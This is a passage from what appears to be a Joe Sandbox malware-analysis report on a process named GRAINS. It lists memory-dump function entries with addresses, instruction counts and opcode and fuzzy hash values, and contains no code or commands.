Instruction ID: 4521b3a47f44acca6e5e4c8217d16c8dc3f6f93bced929bac4933066da875f74
Opcode Fuzzy Hash: 4655b7a7f97d11b3bc0ccfda99a573de56244f30266ecff5a7e1b641100610cb
Instruction Fuzzy Hash: DC2182357002049FCB15EF94D854A99BBB6FF8C311F1940AAEA0A9B361DB31EC52CB90

Function 0A3B4DC0 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 140d7b557565609dab482c617dde7fbd0011fc5a61a6f099c483fb04c975eee8
Instruction ID: b0f7002c2026b705099b205116a2d482fb1edccf54f8cd09dcc1f60a23b18319
Opcode Fuzzy Hash: 140d7b557565609dab482c617dde7fbd0011fc5a61a6f099c483fb04c975eee8
Instruction Fuzzy Hash: 5B3171B0E1520ACFDB14DF69C5505FEBBBAFF89200F009625C616B7752D73098458F98

Function 0A4235FF Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c17aea753ddb5f73b8a900d332e361f7b522ef277e147e8325ba2c043c3be5e1
Instruction ID: 3aa58d76ce2fdeb8c7b9195d27ff7ce77fc7a01eb15de8ca3ced2c82e2c3cc72
Opcode Fuzzy Hash: c17aea753ddb5f73b8a900d332e361f7b522ef277e147e8325ba2c043c3be5e1
Instruction Fuzzy Hash: 41218174B102149BDB18AF6888646AEB7BBEFC8740F14442ED5069B391CF749C06DB91

Function 0A42E6F7 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22056a15af4d396ab3b8a0d395f160f55991813cbac7855dbd1ef719c3bb5e56
Instruction ID: ea3af18d7afc1bb99eb7e8cecc3562605103202e4282d672fd3dc7a4704b6c2e
Opcode Fuzzy Hash: 22056a15af4d396ab3b8a0d395f160f55991813cbac7855dbd1ef719c3bb5e56
Instruction Fuzzy Hash: 4641F674A00228DFEB64CF59D984BDAB7F2EB8A305F5490AAD909A7340D7349E85CF11

Function 0A3BC500 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a557a10c186d28196761e1f82703a29840b8673ea34c1377c6deb76bff4f64c9
Instruction ID: e4f2ca098c890b5c077a6d1cdcf55ee4ededdc4d35068991a899380d0db98a56
Opcode Fuzzy Hash: a557a10c186d28196761e1f82703a29840b8673ea34c1377c6deb76bff4f64c9
Instruction Fuzzy Hash: B6314BB0D11218DFDB68CF26D848BD9BBB6BB89301F40E0AAD50DA7655DB3499C9CF00

Function 0A3B4DD0 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d86b2594c18d357612b4f22630afc24430a61f37a81c073d19a2e9896c0338f1
Instruction ID: 0b14fbcb37eaaedf25150260dfbf1edc516b21f61094c86006ab8ad92ddcf18f
Opcode Fuzzy Hash: d86b2594c18d357612b4f22630afc24430a61f37a81c073d19a2e9896c0338f1
Instruction Fuzzy Hash: 4B315E70E1520A8FDB14DFA9C5805EEB7BAFF88210F009625C61AB7756DB3098458FA8

Function 0A538A06 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64bc8af2702749eb2847ff56ecbeaf2dcf40c3bb0fdcf3933ed5b1863f4a0ced
Instruction ID: f59215830bed072440f03dd06138e5e7aa41ec6a339e15a988a7d1ddda7443b1
Opcode Fuzzy Hash: 64bc8af2702749eb2847ff56ecbeaf2dcf40c3bb0fdcf3933ed5b1863f4a0ced
Instruction Fuzzy Hash: A441E3B5905229DFDB60CF24DD44BD9BBB5BB4A304F1086EAD60DA7281D770AA89CF40

Function 0A531A9A Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd8f1090686d58429edbc9095da11893ee6877a0a4fcf4ef5501d96382676a8b
Instruction ID: d48b0dd8d5b6de000b9ce7307baafdf50b7fada9eb4e34879f016f8ebe87ba2b
Opcode Fuzzy Hash: dd8f1090686d58429edbc9095da11893ee6877a0a4fcf4ef5501d96382676a8b
Instruction Fuzzy Hash: 7641C574905218DFEB64DF25D898B99B7B2FB85305F0051EAD40DA3250DB349EC4CF51

Function 0A486518 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc0b13b5bfec10ba6e51e3a33fe50cd333bc72c5b893fbb654a91a788102e7c5
Instruction ID: 315399123f1d0addd6101d2b1673ccd6f84709f66b31aa8c9edd82f1ada7c12b
Opcode Fuzzy Hash: cc0b13b5bfec10ba6e51e3a33fe50cd333bc72c5b893fbb654a91a788102e7c5
Instruction Fuzzy Hash: AC313774D01208AFDB05DFA5E8546EEBBB2FF88311F00806AE416A7368DB345955CF91

Function 0A48DC80 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae7c7648cda7734dc4406dd46490bf804437fa8495f2255a7a084980271090ef
Instruction ID: 80dc036d63116e7b0ba13ae42fe150ebf2a387f948f79983f8dada5aaa383d09
Opcode Fuzzy Hash: ae7c7648cda7734dc4406dd46490bf804437fa8495f2255a7a084980271090ef
Instruction Fuzzy Hash: 6411FE2414FBC12FCB0B87764829196BFB29E43220B0E19CBD9D58F0F7C419881AE763

Function 0A4258E8 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cef8cb2e172c490494c8d5a03ccfc5c44e55015472da5d666c235ed8b8234e43
Instruction ID: 0227137334b42b9d45440f75cff4fcf298ecc5809f40eb42a41d252753cbda1b
Opcode Fuzzy Hash: cef8cb2e172c490494c8d5a03ccfc5c44e55015472da5d666c235ed8b8234e43
Instruction Fuzzy Hash: B2217474B106098FCB04FF68D4548AEB7B6FF89700B50412AD50697765EF34EA46CB92

Function 0A486529 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8440503d0f8f9f236d45f7797a640f7c79cccc687d71fc68aa9a9479de0edc95
Instruction ID: 31ec557dc6abde871e6b5649a960aec6cb7415179bdf27109332a757f024c8c9
Opcode Fuzzy Hash: 8440503d0f8f9f236d45f7797a640f7c79cccc687d71fc68aa9a9479de0edc95
Instruction Fuzzy Hash: D83105B4E00208AFDF09DFA5D8546EEBBB2FF88311F10802AE816A7358DB355945CF91

Function 04A6DA04 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1513756226.0000000004A6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4a6d000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1133bd4c67a09dff85fcf4fff96662fce4b25538beb3d6a9e7b29b3a64c980f0
Instruction ID: a85ee0ac52211e5246985f4fb1da83e4858b427d17e27336ae8b44c96212e3b5
Opcode Fuzzy Hash: 1133bd4c67a09dff85fcf4fff96662fce4b25538beb3d6a9e7b29b3a64c980f0
Instruction Fuzzy Hash: 802103B270C244EFDB04DF10D9C4B16BB66FBD8364F64C669D90A4B246C336E456CBA2

Function 0A48DD40 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc5eb1a346aefe3c69364c515d26b4e5ab12783059a3da0b09bfe35082795dc1
Instruction ID: 60bc7bdedf156d09ceb5bf17a7f4c794e6d83f9876c8b6079ff6bb01a2f73eef
Opcode Fuzzy Hash: cc5eb1a346aefe3c69364c515d26b4e5ab12783059a3da0b09bfe35082795dc1
Instruction Fuzzy Hash: A12178B5E01209EFDB54EEB8E804BEFBBF4AF44280F108066D825D7294E734CA41CB91

Function 0A3B5268 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ddd9c68fc45eca905b4c73b060c27bed083d66ea6e7a0b6f76f751a1f86d638
Instruction ID: 0c0117b8b215230686f0eaff4666a6a77b508f64bfe4442e81e9c5f716a4d43c
Opcode Fuzzy Hash: 3ddd9c68fc45eca905b4c73b060c27bed083d66ea6e7a0b6f76f751a1f86d638
Instruction Fuzzy Hash: CA215CB0D162099FDB14CFA6E4082EEBBB6EF89301F10806AD506A7741D7744A458FA1

Function 0A48BCA0 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74c87aac59593bfacd557e0cf8983d467561ffbeb4a9df71f105271d4c8bada5
Instruction ID: fa73a0db43093fc00dcf145094e33ed6a997f363cde98b196c9ef3e3cdcd5ed8
Opcode Fuzzy Hash: 74c87aac59593bfacd557e0cf8983d467561ffbeb4a9df71f105271d4c8bada5
Instruction Fuzzy Hash: 99219FB4A00209DFCB54DF64D844AAFBBF1FF88350F00446AD9559B355D730D946CB90

Function 04A7D0A0 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1513872458.0000000004A7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4a7d000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a06f95c9dbf098f83764b67e1fdec265ad39f7d2bee864f7fdb45ac7ed6edb20
Instruction ID: c01089d9592eec76caaa063745f56586008eed6af101ffe51af75a3091e7dd01
Opcode Fuzzy Hash: a06f95c9dbf098f83764b67e1fdec265ad39f7d2bee864f7fdb45ac7ed6edb20
Instruction Fuzzy Hash: CA2125B2604300DFDB20DF10DDC4B16BB65FF84720F24C569D8090B246C336E406CBA2

Function 0A5355F8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e46c61cb7d71ec9b0cbc5f33605595aa816d1d9fc82f7365ec9be6d92cca1848
Instruction ID: c735e8e63c002bcd62998109fff88b27da7d8752e07126222026ee8edaede3c5
Opcode Fuzzy Hash: e46c61cb7d71ec9b0cbc5f33605595aa816d1d9fc82f7365ec9be6d92cca1848
Instruction Fuzzy Hash: 25217CB0D0420ADFDB14CFAAD8547EEBBB1FF8A300F109465C506A7285D7389A45CF91

Function 0A48EB40 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14b0bc53962c61f59e3c2765208129704b33bc13c23bf2c0f1cd478ce8213569
Instruction ID: 486c430a94412484de83528160fb5dae3f5e7a23c4748224554b52e48441d768
Opcode Fuzzy Hash: 14b0bc53962c61f59e3c2765208129704b33bc13c23bf2c0f1cd478ce8213569
Instruction Fuzzy Hash: 7C218EB4300254AFCB05DF2AD880AAB7BE9AF89282B0540A6FC55CB371CB35DC50DB60

Function 0A48A870 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f79ce36a8b991abb9ca6a464114e32f0b2e99d1ae9dac53718001d708eb60f42
Instruction ID: 3cc9ecb92cb59eb456e1c32ae6f98956231e7396d21a593304d04ff9b7fe6181
Opcode Fuzzy Hash: f79ce36a8b991abb9ca6a464114e32f0b2e99d1ae9dac53718001d708eb60f42
Instruction Fuzzy Hash: 42218D35A00259DFCB149FA8D448AEE7FB2EB88320F15816AE512B7391CB719842CB90

Function 0A3BC851 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fb8d5aa7bbce27891d970486d85e249518bf70122db8c5eec77895760039c4e
Instruction ID: 2611881803b4e6b402ee8330d649c24e44be022e3aec6e90e7e840eb140e3f3f
Opcode Fuzzy Hash: 6fb8d5aa7bbce27891d970486d85e249518bf70122db8c5eec77895760039c4e
Instruction Fuzzy Hash: 38314974D15319DFDB64CF26D888798BBF2FB0A305F41A0A6D559A3651DB3898C8CF00

Function 0A3B5278 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1665e183db1ac8939517ef7e43a6ff2b2910c23d89a8722f2fd19174896072cb
Instruction ID: 57c8dc48691a2c42bf008792145cb7bc03876d9e4b1826207dca5d1059fb6896
Opcode Fuzzy Hash: 1665e183db1ac8939517ef7e43a6ff2b2910c23d89a8722f2fd19174896072cb
Instruction Fuzzy Hash: 87211DB0D16209DFDB14DF9AE4082EEB7F6FB89311F10902AD606B7744D7744A458F91

Function 078E0288 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1545743564.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_78e0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87b09fc42345887e0cd06b4b6c4451225fb7587daca69db177d367d570859ff3
Instruction ID: 76fc1cb4595d45207e0d90e310ece83612ef1cdb358312cc4856a55e69c9f207
Opcode Fuzzy Hash: 87b09fc42345887e0cd06b4b6c4451225fb7587daca69db177d367d570859ff3
Instruction Fuzzy Hash: 401106F0F0531A9FCB618E65860037EB6E8AF97608F344869C915EB244EBB5C881C7D2

Function 0A3BD650 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 094c4bc4b660229270b386d92243f9bbed9dfe6367581474baa373f7ebcae691
Instruction ID: 4ca814189b120c34369115195351fe288a75e384d98cae82b7e7425d2f9bbca5
Opcode Fuzzy Hash: 094c4bc4b660229270b386d92243f9bbed9dfe6367581474baa373f7ebcae691
Instruction Fuzzy Hash: A6213BB4E2020ADFDB54DFA9D0456EEBBB6FB48340F508169D919A7640D734DA81CF90

Function 0A535608 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40f26f27e5e938663543c6582d35b064d2b4c604c936a7cdd1813974778eaf42
Instruction ID: 0b02317750a0b1e6d7fd794064f2323355b8e96488460fef1bb31c476b0d1c9c
Opcode Fuzzy Hash: 40f26f27e5e938663543c6582d35b064d2b4c604c936a7cdd1813974778eaf42
Instruction Fuzzy Hash: FF213CB1D04209EFDB14DF9AD8547AEB7B6FB8A300F10A425D516B3380E7385A458F91

Function 0A48A880 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e69caf9e4d6e3f560662edd2dd064b0491ccb2616ad016d1a4371b5758eccb91
Instruction ID: 7cc956423c4842dbe89b60dd97c8808dd994c95e7def41c67ed6263c8e23e986
Opcode Fuzzy Hash: e69caf9e4d6e3f560662edd2dd064b0491ccb2616ad016d1a4371b5758eccb91
Instruction Fuzzy Hash: AD216D35A00218EFCB149FA8D448AEE7BB6FB8C320F15816AE511B7390CB759C41CFA0

Function 078E05B4 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1545743564.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_78e0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51fe39957744d094cea5fbe61531c0f60c78992efdb03bd50e900d3c2f1633d9
Instruction ID: 2a17976d9f619480d93795d1813383cdacf1ce62cebdb315ba3bdd48cd704dea
Opcode Fuzzy Hash: 51fe39957744d094cea5fbe61531c0f60c78992efdb03bd50e900d3c2f1633d9
Instruction Fuzzy Hash: 8C21C0B0B0430BCFCF208F5485007AABBB9AFE3245F35886AC808DA121E7B2C555DB61

Function 0A3BC5BC Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6640e552324bf6a7a7b7c3fb67c923d1843b28ee3805bbd5db8124009f9d99c6
Instruction ID: 41284358675ec184ffa3b06e6f3f7ecb92caea07fa2d953fd9061c99fdf82b77
Opcode Fuzzy Hash: 6640e552324bf6a7a7b7c3fb67c923d1843b28ee3805bbd5db8124009f9d99c6
Instruction Fuzzy Hash: 6B31B2B4D11218DFDB64CF26D888B99B7B2BB49301F40E0A6D519A3655DB3499C5CF00

Function 078E1E48 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1545743564.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_78e0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 884ee507135ae42089c01525aa991950e6c665b1c2adad7ee5cfcd97f382c698
Instruction ID: d5ce4263d3421d48065781edb1a6e19786f769133434a6c12958dddb0f5dc8ae
Opcode Fuzzy Hash: 884ee507135ae42089c01525aa991950e6c665b1c2adad7ee5cfcd97f382c698
Instruction Fuzzy Hash: 96117FB0F0020E9FDB54DF65C44876AB7E9EF96651F148066E919CB250EB31D881C7D1

Function 0A3B56AA Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edb0747ec427937b57e3a5bce52273fc89daf06bc3192c91290bf40247f60734
Instruction ID: 26ba1797045c96f1abae71eb2f93f45ffd7df4ae4726d5e663621c818f63d0ce
Opcode Fuzzy Hash: edb0747ec427937b57e3a5bce52273fc89daf06bc3192c91290bf40247f60734
Instruction Fuzzy Hash: 40211570D14318CFDB60CFA8C8887DEB7B6FB49305F109199D60AABA45C7748A84CF40

Function 0A3B644C Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e63deceaeeb7f7ce75cc736552089fde58213cee536dc80bbd6d7db9b126922
Instruction ID: 9d3ecd21173206bea3f88466e9e232bb8a27e85b9f98c61755c3aa127d1086a5
Opcode Fuzzy Hash: 2e63deceaeeb7f7ce75cc736552089fde58213cee536dc80bbd6d7db9b126922
Instruction Fuzzy Hash: CC31DEB0951228CFDB61CF68C988BCEB7B1FB49305F1051D9D60AAB695C7749E88CF40

Function 0A532415 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b32e639e097935bb95b6af313f8a7c455e31bcf22dbfa1b12e1e241dbd86e86
Instruction ID: 147da58570db7dfdad5a986b907d0205789859bf08c61d0afc735f3061e64d6d
Opcode Fuzzy Hash: 7b32e639e097935bb95b6af313f8a7c455e31bcf22dbfa1b12e1e241dbd86e86
Instruction Fuzzy Hash: A9311AB4A04219DFDB64CF54E994BDEB7B2FB49301F1041AADA0AA3744C7389E85CF50

Function 078E05C8 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1545743564.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_78e0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0b6b4fd49163ba89f0bf394bbcae851f70db4fd16a42073334e97540be9dd1f
Instruction ID: 83f377de9af2eb36ddae6cde7d1c079fa071e1b2d130fb1fcc8fe445c976c0b1
Opcode Fuzzy Hash: a0b6b4fd49163ba89f0bf394bbcae851f70db4fd16a42073334e97540be9dd1f
Instruction Fuzzy Hash: CD11B2F0B0030ADBCF248F54C50076ABBB8ABE3214F34886AC814CA120E7B2C551DA61

Function 0A3BC592 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 068f2e97a8f63cdeda85a8bcfb287d40125f121bab5c20fb9c8810aafd4d8f22
Instruction ID: b6c10738ea402dda664be60b8f788fd0e07bebad0f5927a1d808b8b6d0a5c1ef
Opcode Fuzzy Hash: 068f2e97a8f63cdeda85a8bcfb287d40125f121bab5c20fb9c8810aafd4d8f22
Instruction Fuzzy Hash: F421C5B0D15218DFDB74CF26D888B99B7F2BB49305F50A0AAD519A3651DB7899C8CF00

Function 0A487442 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e402a3213fcbf5dfb5d4d7e805d688b6036e3b2dd642cfcab17ad3e4276c45c9
Instruction ID: b999b8aea40a5bbfc34e579af78129468644b07400e424d007e08cb641ca31d5
Opcode Fuzzy Hash: e402a3213fcbf5dfb5d4d7e805d688b6036e3b2dd642cfcab17ad3e4276c45c9
Instruction Fuzzy Hash: 582184B0E012089FDB64DF55E8647AEB7B2FF85305F20905AC50AA7354CB349D85CF50

Function 0A3B62B1 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7ea7aa08723899e38c7ec6da3bd76168dcdcc9b2acea05c26cd6b4582059ff1
Instruction ID: 22b4ffd0aa59484a334ea3d6f2a561d5ccbcfb554eaa60ff7afa16f8a86b2601
Opcode Fuzzy Hash: a7ea7aa08723899e38c7ec6da3bd76168dcdcc9b2acea05c26cd6b4582059ff1
Instruction Fuzzy Hash: 9A31CEB4951228CFDB61CF68C988BCEB7B1FB49305F1051D9D50AA7695C7749E88CF40

Function 04A6D9FF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1513756226.0000000004A6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4a6d000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cc7091cae5a01f5c056075d7c00c0d97ceceb2d5f161c39f79cfe65fd220319
Instruction ID: a63be2138c59d86570cd5bc5aed12b89d357d4f8a8ea2306a89410f757ba6649
Opcode Fuzzy Hash: 4cc7091cae5a01f5c056075d7c00c0d97ceceb2d5f161c39f79cfe65fd220319
Instruction Fuzzy Hash: E811D376608284DFCB15CF10D5C4B16BF72FB94324F28C6A9D84A0B656C33AE456CBA1

Function 0A48B220 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33b84251905437bdd83f2b78f938bb2d467816e73ff1669ef1919e4888533036
Instruction ID: d1046fdb0bae8b9c9306ca9be8012348c5b0234c0ba437b062494a44ec7106c5
